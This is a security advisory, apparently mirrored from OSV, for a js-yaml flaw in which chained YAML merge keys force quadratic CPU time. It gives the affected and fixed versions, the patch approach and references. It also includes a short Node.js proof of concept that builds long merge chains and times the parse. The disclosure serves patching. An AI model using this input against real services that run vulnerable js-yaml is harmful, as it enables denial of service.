js-yaml: YAML merge-key chains can force quadratic CPU consumption
Published 20 Jul 2026 · Updated 10 Sept 2026
Affected packages
- Affected
- >=3.0.0 <3.15.0
- Fixed in
- 3.15.0
npm install js-yaml@3.15.0- Affected
- >=4.0.0 <4.3.0
- Fixed in
- 4.3.0
npm install js-yaml@4.3.0Details
Impact
js-yaml can spend quadratic CPU time parsing a document whose size grows only linearly. The issue is triggered by a chain of mappings where each mapping merges the previous one:
a0: &a0 { k0: 0 }
a1: &a1 { <<: *a0, k1: 1 }
a2: &a2 { <<: *a1, k2: 2 }
a3: &a3 { <<: *a2, k3: 3 }
...
b: *aNFor each new mapping, the loader has to enumerate the keys inherited from the previous mapping. With N chained mappings, this results in roughly 1 + 2 + ... + N merged-key visits, i.e., O(N^2) work for O(N) input size.
PoC
From N = 4000 delay become > 1s (doc size < 100K)
import { performance } from 'node:perf_hooks'
import { Buffer } from 'node:buffer'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = Number(process.argv[2] || 4000)
function makeMergeChain (count) {
const lines = ['a0: &a0 { k0: 0 }']
for (let i = 1; i < count; i++) {
lines.push(`a${i}: &a${i} { <<: *a${i - 1}, k${i}: ${i} }`)
}
lines.push(`b: *a${count - 1}`)
return `${lines.join('\n')}\n`
}
const source = makeMergeChain(n)
console.log(source.split('\n').slice(0, 8).join('\n'))
console.log('...')
console.log(source.split('\n').slice(-4).join('\n'))
console.log()
console.log(`N: ${n}`)
console.log(`YAML size: ${Buffer.byteLength(source)} bytes`)
const started = performance.now()
const result = load(source, { schema: YAML11_SCHEMA })
const elapsed = performance.now() - started
console.log(`parse time: ${elapsed.toFixed(1)} ms`)
console.log(`top-level keys: ${Object.keys(result).length}`)
console.log(`b keys: ${Object.keys(result.b).length}`)Patches
Fix released. The most robust protection is to limit the total number of merged keys per parse call. This should close all past and future edge cases with merge. The default 10K-key limit should be okay in most cases.
Is GHSA-52cp-r559-cp3m in any of your client repos?
Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected js-yaml, and gives you the command that fixes it.
References
- Linkgithub.com/nodeca/js-yaml/security/advisories/GHSA-52cp-r559-cp3m
- Advisorynvd.nist.gov/vuln/detail/CVE-2026-59869
- Linkgithub.com/nodeca/js-yaml/commit/24f13e79ee1343a7e30bd6f6c9d9cdbf0ac9b2b7
- Linkgithub.com/nodeca/js-yaml/commit/59423c6f8cdc78742ac00e25a4dd39ef16b702e4
- Packagegithub.com/nodeca/js-yaml
- Linkgithub.com/nodeca/js-yaml/releases/tag/3.15.0
- Linkgithub.com/nodeca/js-yaml/releases/tag/4.3.0
Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.